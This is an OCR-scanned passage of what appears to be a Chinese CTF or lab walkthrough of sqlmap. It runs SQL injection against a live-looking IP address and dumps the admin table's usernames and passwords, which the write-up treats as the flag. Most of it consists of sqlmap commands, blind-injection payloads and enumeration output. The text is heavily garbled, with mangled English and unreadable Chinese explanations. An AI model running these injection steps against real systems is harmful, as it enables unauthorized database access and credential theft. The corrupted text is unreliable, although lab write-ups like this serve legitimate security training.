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C:“sersradamnZ~Downloads sglmapproject—sglmap—1.4.12-11—g12158af “sglmapproject—=s
glmap—12158af *sglmap.py —u http:- /57 .63.200.72:80A03?id=1 —batch
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[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual]
consent is illegal. It is the end user’s responsihility to obhey all applicable
local., state and federal laws. Developers assume no liahility and are not respon
zihle for any misuse or damage caused by this program

[#] starting @ B7:48:8% ~2828-12-17~

[ 1L 1 vesuming back-end DBMS ‘mysql’
[ 1 [INFO1 testing connection to the target URL
zglmap resumed the following injection point<{s>» from stored session:
Parameter: id <GET>
Type: boolean—-haszed hlind
Title: AND hoolean-hased blind — WHERE or HAVING clause
Payload: id=1 AND 7634=7634

Type: time-haszed hlind
Title: MyBQL >= 5.8.12 OR time-hased blind (SLEEF>
Payload: id=1 OR ELEEP<5>

1 [INFO] the back-end DBMS is MySQL
hack—-end DBMS: HMySQL >= 5.8.12
L 11 1 fetched data leogged to text files under 'C: lUserssadanZ-AppDat
a“Local“sglmap~output~5%_63.2860._.79"

[#] ending @ B9:48:89 -2828-12-17~

HATTUE R, FESQREATR



mysql.py -u http://59.63.200.79:8003/?id=1 -current-db -batch
-cuurent-db = EAERLETHBIEEFE S, WAl LLAH-dbsE IR FTA KIEHE & .

N EES: C\Windows\system32\cmd.exe

C:=“UzersvadanZ Douwnloads ssglmapproject—sglmap—1.4.12-11-g1215%8af “=qlmapproject—=s
g lnap—1215%8af >sqlmap.py —u http:-- 759 _63_.208_79:8803.-?id=1 —-current—db —-batch
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[*] legal disclaimer: Usage of sglmap for attacking targets without priocr mutual
consent is illegal. It is the end uwser's responzibility to ohey all applicahble
local,. state and federal laws. Developers assume no liability and are not respon

=ible for any misuse or damage caused by this program

[#] starting @ @9:55:85% ~2028-12-17~/

[ 1L 1 resuming back—end DBMS ‘mysqgl’
[ 1 [INFO1 testing connection to the target URL
sglmap resumed the following injection point{s> from stored session:
Parameter: id (GET>
Type: hoolean—hased hlind
Title: AND hoolean—based blind — WHERE or HAUING clause
Payload: id=1 AND 7634=7634

Type: time—hased blind
Title: MySQL >= 5.8.12 OR time-hased blind (SLEEP>»
Payload: id=1 OR SLEEP<(5>

1 [INFO1 the back—end DBMS is MySQL
back—end DBHS: HySGQL >= §.08.12
L 1L 1 fetching current database
L 1L 1 resumed: maoshe
current databasze: '‘maozshe’
[ 110 1 fetched data logged to text files under ‘C: lUszersz adamZ-AppDat
a~Localssglmap~output~h?.63.2800.79"

[#] ending @ B2:55:86 ~2828-12-17/

C:“lUserssadanZ~Downloads “sqglmapproject—sglmap-1.4.12— 11—gi2158af\oqlmapprnaect—ﬂ
g Imap—12158af > hit og.csdn. 4:




LEBAIC A SR EEEE N maoshe, FrUARATR EHIEEE AR,
mysql.py -u http://59.63.200.79:8003/?id=1 -D “maoshe” -tables -batch
-D i & B ¥ P -tables 92 ) 24 B B8 FE TE )R

C:sxUzerszadanfZ~Jownloads“sgqlmapproject—sglmap—1.4_12-11-g1215%8af “sgqlnapproject—s
glmap—1215%8af >sqlmap.py —u http: - -59 63.200.79:-8003-?id=1 -D "maoshe" —tables —h

{1.4.12.18#dev>

http:/rsgqlmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’'s responszibility to ohey all applicahle
local. state and federal laws. Developers assume no liabhility and are not respon

=ible for any mizuse or damage caused by this program

[#] starting B 1@:18:25 ~2820-12-17~

[ 1L 1 vesuming back-end DBMS ‘mysql’
[ 1 [INFO1 testing connection to the target URL
sglmap resumed the following injection point<{s>» from stored session:

Parameter: id (GET>
Type: bhoolean—hbased blind
Title: AND bhoolean—-baszed bhlind - WHERE or HAUING clause
Payload: id=1 AND 7634=7634

Type: time—hased hlind
Title: MySQL >= 5.8.12 OR time-based blind (SLEEP>
Payload: id=1 OR SLEEP<5>

1 [INFO1 the hack-end DBMS is MySQL
back—end DBMS: HMySQL >= 5.8.12
1L 1 fetching tahles for database: ‘maoshe’
fetching number of tables for datahase ‘maoshe’
resumed: 4
resumed: admin
resumed: dirs
resumed: news
L resumed: xss
Database: maoshe
[4 table=s]

1L 1 fetched data logged to text files under *'C:™lzerssadamZ-AppDat
a“Local“sglmap~output~Lh?.63.26008.79"

[*] ending B 1@:1@:25 ,20268-12-17/ http 0g.csdn.ne

admin dirs news xss44>.
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—REE AR S F S EadminEH, FTUARAI LUEE TadminEH K 7.
mysql.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -columns -batch
XEM-thRER, RJEMHH-columns BE FBRAK

a #125, Cindon e P - -

C:“UsersradamnZ-Downloads sglmapproject—sglmap—1.4.12-11—g12158af “sqglmapproject—=sga
glmap—12158af >sglmap.py —u http:--59.63.280.77:8003.-?id=1 -D maoszshe -T admin —co
lumns —hatch

{1.4.12.18#dev>

H http://sglmap.oryg

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual]
consent is illegal. It is the end user’s responsihility to obhey all applicable
local. state and federal laws. Developers assume no liahility and are not respon

zihle for any misuse or damage caused by this program

[#] starting B 18:36:43 ~2820-12-17~

L 11 1 resuming back-end DBME ‘mysgl’

L 1 [INFO0] testing connection to the target URL

cglmap resumed the following injection point<s) from stored session:
Parameter: id <GET>

Type: boolean—-haszed hlind

Title: AND hoolean-hased blind — WHERE or HAVING clause

Payload: id=1 AND 7634=7634

Type: time-haszed hlind
Title: MyBQL >= 5.8.12 OR time-hased blind (SLEEF>
Payload: id=1 OR ELEEP<5>
[ 1 [INFO1 the bhack-end DBME is MuyZQL
hack-end DBMS: HMySQL >= 5.8.12
L 11 1 fetching columnz for table ‘admin’ in database ’'maoszhe’
L resumned: 3
L resumed: Id
L resumed: int<il>
L resumed: username
L resumed: varchar<il>
L resumed: password
L resumed: varchar<il>
Database: maoshe
Table: admin
[3 columns]

varchar{il>
varchar{il>

_____________ +

password
username
e

$ mm omm omm g

L 11 1 fetched data leogged to text files under 'C: lUserssadanZ-AppDat
a~Localssglmap~output~5%_63.2860._.79"

m

[#] ending B 18:36:44 -2828-12-17~

C:\Users\adamZ\Duunluads\sqlmappruject—sqlmap—i*#H_ %* . s _ﬂﬁﬂpg&ﬁyﬁﬁgg
glmap-12158af > I ST B R -

BRAITLAR R, FBRAEHA
id, password, username=A“. FrLAZATIEE usernameFfpasswordh I LA T .



1 F mysq|l.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C “username,password” -dump -batch

XEP-CHIREFBREH, -dumpREE#HHFE.

a #187, Cindon e P - -

C:“UsersradamZ~Downloads sglmapproject—sglmap—1.4.12-11—g12158af “sglmapproject—=s
glmap—12158af >sglmap.py —u http:--59.63.200.77:8003.-7id=1 -D maoszshe -T admin —C
"username . password” —dump —hatch

{1.4.12.18#dev>

http://sglmap.oryg

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual]
consent is illegal. It is the end user’s responsihility to obhey all applicable
local. state and federal laws. Developers assume no liahility and are not respon

zihle for any misuse or damage caused by this program

[#] starting B 18:46:18 ~28260-12-17~

L 11 1 resuming back-end DBME ‘mysgl’
L 1 [INFO0] testing connection to the target URL
cglmap resumed the following injection point<s) from stored session:
Parameter: id <GET>
Type: boolean—-haszed hlind
Title: AND hoolean-hased blind — WHERE or HAVING clause
Payload: id=1 AND 7634=7634

Type: time-haszed hlind

Title: MySQL >= 5.8.12 OR time-based blind {(SLEEF>
Payload: id=1 OR SLEEP<S>

1 [INFO] the back-end DBMS is MySQL
hack-end DBMS: HMySQL >= 5.8.12
L 11 1 fetching entriez of column<s? ‘password.username’ for tahle ’a
dmin’ in database ‘maoshe’
L 11 1 fetching number of columnds? ’'password.username’ entries for t
able 'admin’ in database ‘maoshe’
1 1 resumed: 2
resumed: hellohack
resumed: admin
resumed: zkaghanba
resumed: 1HY
Database: maoshe
Table: admin
[2 entries]

password
____________ +

hellohack

zkagbanban |

m

11 1 table ‘maoszhe.admin’ dumped to CEU file 'C:slUserssadanZ-AppDat
a~Localssglmap~output~5% .63 .280._.79 dump*maczhe“admin_.csu’
L 1IL 1 fetched data leogged to text fi B cWde
a~Localssglmap~output~5%_63.2860._.79" lr]rrl"m[ﬁ‘ll

helloback, XA™#t 4@ iflag.
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